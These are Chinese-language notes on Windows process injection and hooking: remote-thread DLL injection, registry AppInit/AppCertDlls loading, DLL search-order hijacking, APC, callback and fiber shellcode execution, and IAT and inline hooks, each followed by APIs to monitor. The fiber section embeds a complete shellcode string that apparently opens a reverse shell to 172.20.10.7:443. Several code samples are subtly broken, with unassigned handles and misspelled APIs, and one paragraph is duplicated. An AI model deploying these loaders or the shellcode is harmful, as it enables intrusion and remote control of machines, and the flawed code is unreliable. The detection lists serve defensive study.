注入
CreateRemoteThread远程线程调用
说明
DLL注入是指向某一个特定的进程空间强制插入一个特定的DLL文件映像,值得注意的是这种插入是强制性的插入,从技术层面来看,DLL注入是利用LoadLibrary()加载特定的DLL文件到进程的内存空间。注入的对象是可以是自身,也可以是远程进程。DLL注入技术实现主要分为5个部分:
- 打开进程,获取进程的句柄
- 在内存空间开辟一段内存空间
- 向刚刚开辟的内存中写入需要注入DLL的路径
- 利用GetProcessAddree()获取LoadLibrary的地址
-
代码
bool InjectDll(DWORD dwPID, LPCTSTR szDLLPath)
{
HANDLE hProcess = NULL,hThread=NULL;
DWORD BufSize = (DWORD)(_tcslen(szDLLPath) + 1) * sizeof(TCHAR);
/*-------------打开需要注入的进程-------------*/
if (!OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))
{
printf("OpenProcess(%d) Open Fail:[%d]", dwPID, GetLastError());
return 0;
}
/*------------向目标进程开辟内存空间-----------*/
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);
/*------------将目标路径写入进程---------------*/
WriteProcessMenory(hProcess, pRemoteBuf, (LPVOID)szDLLPath, BufSize, NULL);
/*-----------获取LoadLibrary地址--------------*/
HMODULE hMod = GetModuleHandle(L"kenerl32.dll");
pThreadProc = GetAddress(hMod, "LoadLibrary");
/*------------调用远程线程加载DLL--------------*/
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pThreadProc, //远程线程LaodLibrary
pRemoteBuf, //参数,DLL的路径
0,
NULL);
CloseHandle(hProcess);
CloseHandle(hThread);
return 1;
}
检测API
OpenProcess
- VirtualAllocEx
- WriteProcessMenory
- GetModuleHandle
- GetAddress
-
利用注册表注入
利用APPiNIT_dll注册表来实现DLL注入。
因为windows允许只要加载了USER32.dll的进程并且,某一个dll的绝对路径处于注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion \Windows\AppInit_DLLs”中,os就会自动去加载位于该注册表的有效的DLL。所以只需要在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion \Windows\AppInit_DLLs”中添加DLL的绝对路径,并把数值改为1,可以使得所有加载USER32.dll的进程全部加载目标路径的DLL。
利用AppCertDlls注册表,将“HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls”下写入dll的路径,可以将此注册表项下的DLL加载到调用CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每个进程中。注意
win xp-win 10 默认不存在这个注册表项,所以需要先“RegCreateKey*”创建。
检测
RegCreateKeyEx、RegSetValueEx操作注册表键“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion \Windows\AppInit_DLLs”
键值为Dll文件路径。SetWindowsHookEx()设置钩子
利用windows的消息机制,可以在事件发送到os之间设置一条钩链,来钩取不同的消息,如以下代码,利用SetwindowsHookEx可以钩取一个键盘消息。
并且调用钩子处理函数(第二个参数)来处理这个消息,所达到的效果和dll注入是一样的(执行dll内部的代码)检测API
SetWindowsHookEx
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
dll路径劫持
dll搜索劫持技术是一种简单的dll注入技术,他利用windows加载dll目录的优先级来加载dll。他不需要通过修改注册表或者修改二进制文件的前提下注入dll的。下面是windows加载dll的默认搜索顺序:
加载应用程序的目录
- 当前目录【经常利用到】
- 系统目录(../windows/system32)
- 16位子系统目录(../windows/system)
- windows目录(../windows)
- PATH环境变量列举的目录
为了安全和加载速度,windows会在“HKML\System\CurrentSet\SessionManger\SafeDll\SafeDllSearchMode”下创建键值,系统会优先加载这些已知的dll(第一位)
可以通过两个方式来进行劫持:
- 通过在上述注册表中添加恶意dll路径的键值,这样使得恶意dll优先注入到进程空间(这个恶意dll需要和系统dll同名)
- 在加载系统dll之前加载。
- 有权访问文件系统的攻击者可能会将恶意ntshrui.dll放在C:\ Windows目录中。该DLL通常驻留在System32文件夹中。进程explorer.exe也驻留在c:\Windows中,一旦尝试从System32文件夹中加载ntshrui.dll,实际上会由于优先搜索顺序而加载由攻击者提供的DLL。由于攻击者已将其恶意ntshrui.dll放入与加载explorer.exe进程相同的目录中,因此将首先找到攻击者提供的DLL,从而加载代替合法DLL。由于explorer.exe在引导周期内被加载,攻击者的恶意软件被保证执行。【不上书上说的../windows比系统目录优先搜索,而是当前目录比系统目录被优先搜索】
如果启用windows的Dll的安全检查,情况可能会大有改观。
- 有权访问文件系统的攻击者可能会将恶意ntshrui.dll放在C:\ Windows目录中。该DLL通常驻留在System32文件夹中。进程explorer.exe也驻留在c:\Windows中,一旦尝试从System32文件夹中加载ntshrui.dll,实际上会由于优先搜索顺序而加载由攻击者提供的DLL。由于攻击者已将其恶意ntshrui.dll放入与加载explorer.exe进程相同的目录中,因此将首先找到攻击者提供的DLL,从而加载代替合法DLL。由于explorer.exe在引导周期内被加载,攻击者的恶意软件被保证执行。【不上书上说的../windows比系统目录优先搜索,而是当前目录比系统目录被优先搜索】
启用”安全DLL查找模式”时,查找顺序如下:
- 应用程序所在目录;
- 系统目录。GetSystemDirectory返回的目录,通常是系统盘\Windows\System32;
- 16位系统目录
- Windows目录。GetWindowsDirectory返回的目录,通常是系统盘\Windows;
- 当前目录。GetCurrentDirectory返回的目录;
-
检测
白加黑的利用方式之一,常见表现为投递压缩包,在同目录下存在可见的诱饵文件和隐藏的dll文件。
《APT32的侧加载》线程注入
代码注入是一种向进程中插入一段独立运行的代码并且不会影响进程的运行(如崩溃)的技术,从技术上讲他也是调用CreateRemoteThread()来注入远程代码。分两次向进程中注入,第一次以远程线程的形式注入,第二次以线程参数的形式注入远程进程。
DWORD WINAPI ThreadProc()
{
//需要注入的代码
}
BOOL InjectCode(DWORD pId)
{
PHANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID));
dwsize = sizeof(THREADPARAM); //插入代码所需要数据的大小
pRemoteBuf[0] = VirtualAllocEx(); //在进程空间开辟一个数据大小相同的空间
WriteProcessMenory(hProcess, pRemoteBuf[0], ¶m, dwsize, NULL);//将注入代码所需要的数据写入进程空间
dwsize = (dword)InjectCode() - (dword)ThreadProc();//插入代码需要的空间大小
pRemoteBuf[0] = VirtualAllocEx(); //在进程中开辟等大小的空间用于存储代码
WriteProcessMenory(hProcess, pRemoteBuf[0], (LPVOID)ThreadProc(), dwsize, NULL);
hTread = CreateRemoteThread(hProcess,
NULL,
0,
pRemoteBuf[1], //注入的代码
pRemoteBuf[0], //代码所需要的数据作为代码的参数传入
0, NULL);
CloseHandle(hProcess);
CloseHandle(hThread);
}
API
OpenProcess
- VirtualAlloc*
- WriteProcessMenory/RtlMoveMemory
- CreateRemoteThread/CreateThread
-
APC注入
APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链,他在线程处于可警告的等待状态时被执行。恶意代码为了使得自己立即被执行,他们会利用APC抢占处于等待状态的线程。
用户模式下的APC注入
程序利用QueueUserAPC()函数调用远程函数,该函数的参数为pfnAPC,hThread,dwData,(1)目标线程的句柄; 2)指向恶意软件想要运行的函数指针; 3)和传递给函数指针的参数)。其要求hThread调用数值为dwData的pfnAPC定义的函数。
当然线程处于等待状态是APC注入的前提,一般的注入svchost.exe,我们也可以调用SleepEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjectsEx或WaitForSingleObjectEx函数,线程将进入可警醒状态。流程
VirtualAlloc为Shellcode分配内存缓冲区。
- GetCurrentProcess获取当前进程的句柄。
- WriteProcessMemory向新分配的内存区域写入Shellcode Payload。
- GetCurrentThread获取当前线程的句柄。
- 将分配的内存区域以pfnAPC参数的形式提供给QueueUserAPC,并将新创建的APC程序加入队列。
- 调用未记录的NtTestAlert函数触发Shellcode Payload,该函数将清除当前线程的APC队列。
- 关闭当前线程和当前进程的句柄来执行清理任务。
API
VirtualAlloc
2. GetCurrentProcess
3. WriteProcessMemory
4. GetCurrentThread
5. QueueUserAPCEnumTimeFormatsEx回调函数注入
EnumTimeFormatsEx是一个Windows API函数,可以枚举提供的时间格式,能够用于执行Shellcode,因为第一个参数可以接收用户定义的指针:
BOOL EnumTimeFormatsEx(
[in] TIMEFMT_ENUMPROCEX lpTimeFmtEnumProcEx,
[in, optional] LPCWSTR lpLocaleName,
[in] DWORD dwFlags,
[in] LPARAM lParam
);
VirtualAlloc为Shellcode Payload分配本地内存。
- memcpy/RtlCopyMemory将Shellcode Payload移动到新分配的内存区域。
将Shellcode作为EnumTimeFormatsEx的lpTimeFmtEnumProcEx参数来传递,并触发Shellcode。
API
VirtualAlloc
- memcpy/RtlCopyMemory
EnumTimeFormatsEx([VirtualAlloc申请的内存地址], , , )
CreateFiber纤程注入
纤程是微软为Windows增加的可以方便的将Unix服务器应用程序移植到Windows的用户级别的线程/轻进程。
我们知道,进程是资源分配的基本单位,线程是独立调度(执行)的基本单位。一个进程中可以有多个线程,他们共享进程资源
而纤程(Fiber)是更轻量级的线程,线程中的线程,一个线程可以包含一个或多个纤程。
因为纤程是在用户模式下实现的,内核对纤程是一无所知的。流程
首先用ConvertThreadToFiber函数将当前线程转换为纤程(只有这样才能去调度纤程)
- 之后把ShellCode加载进内存,并设置为可执行,可以使用VirtualAlloc、VirtualProtect、HeapAlloc等函数
- 然后使用CreateFiber函数创建一个指向ShellCode的新纤程
- 最后用SwitchToFiber函数选中新纤程即可
代码
```cinclude
int main() {
#convert main thread to fiber
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x14\x0a\x07\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeLocation, shellcode, sizeof shellcode);
# create a fiber that will execute the shellcode
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
# manually schedule the fiber that will execute our shellcode
SwitchToFiber(shellcodeFiber);
return 0;
}
<a name="SGzPW"></a>
### API
1. ConvertThreadToFiber
2. VirtualAlloc/HeapAlloc
3. memcpy
4. CreateFiber
5. SwitchToFiber
<a name="Q9LTr"></a>
# HOOK
<a name="KxhAV"></a>
## IAT HOOK
在一个windows应用程序中,人们所编写的代码所占的比例不到20%,其他都是导入的是库文件(windows下主要是dll文件),dll文件的存在大大简化了人们的工作,同样的也减少了程序所运行的成本,因为在一个dll文件中不是所有函数都会被使用。在.exe文件中存在一个叫做IAT(导入地址表)的表,这个表存在的原因就是便于程序去dll文件中寻找特定的函数。<br />一个正常的exe使用IAT的过程如下:程序调用了某个dll中的函数,首先回去程序自带的IAT中寻找改函数在dll中所处的地址,然后调用一个jmp跳转到dll!FUN()所在的地址,继续执行。【windows加载器会在程序运行时把dll中函数的地址存储在IAT中,当然程序第一个调用的是IAT的地址】<br />如果程序被IAT_HOOK的话,过程是这样的。首先先使用DLL注入把含有恶意代码的DLL注入到进程内部,并修改IAT数据,程序和正常过程一样调用IAT的地址,但是此时IAT的函数地址并不是正常的函数地址,jmp到恶意的函数中执行,执行完恶意代码后call到正常的dll中。然后retn。
```c
DWORD SetIATHook(DWORD OldAddr,DWORD NewAddr) //oldAddr是原地址,NewAddr是我们自己的函数
{
DWORD dwImageBase = 0;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNTHeader = NULL;
PIMAGE_FILE_HEADER pPEHeader = NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImport = NULL;
PDWORD pIATThunk = NULL;
DWORD oldProtected = 0;
bool Flag = FALSE;
dwImageBase = (DWORD)::GetModuleHandle(NULL); //获取进程基址
pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + 4);
pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);
pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pOptionHeader->DataDirectory[1].VirtualAddress + dwImageBase); //定位导入表0 //定位IAT表
while (pImport->FirstThunk != 0 && Flag == FALSE)
{
pIATThunk = (PDWORD)(pImport->FirstThunk + dwImageBase);
printf("%s\n", dwImageBase + pImport->Name);
while (*pIATThunk)
{
if (*pIATThunk == OldAddr)
{
VirtualProtect(pIATThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
*pIATThunk = NewAddr;
Flag = TRUE;
printf("Hook成功!\n");
break;
}
printf("%x\n", pIATThunk);
pIATThunk++;
}
pImport++;
}
return Flag;
}
API
可能误报会比较高
- GetModuleHandle
VirtualProtect( , , PAGE_EXECUTE_READWRITE, )
InLine HOOK
主程序需要加载编写的dll,在dll中需要做几件事:
定义伪造的函数
- 保存原有API 的地址
- 更改内存,跳转到伪造的API地址
-
代码
//获取当前进程ID
dwPid=GetCurrentProcessId();
hProcess=OpenProcess(PROCESS_ALL_ACCESS,0,dwPid);
DWORD dwOldProtect;
DWORD dwTemp;
//内存写入新的地址
VirtualProtectEx(hProcess,pfOldCreaFile,5,PAGE_READWRITE,&dwOldProtect); //更改内存属性
WriteProcessMemory(hProcess,pfOldCreaFile,NewCode,5,0);
VirtualProtectEx(hProcess,pfOldCreaFile,5,dwOldProtect,&dwTemp); //更改内存属性
API
OpenProcess
- VirtualProtectEx( , , 5, PAGE_READWRITE, )
- WriteProcessMemory
- VirtualProtectEx( , , 5, , )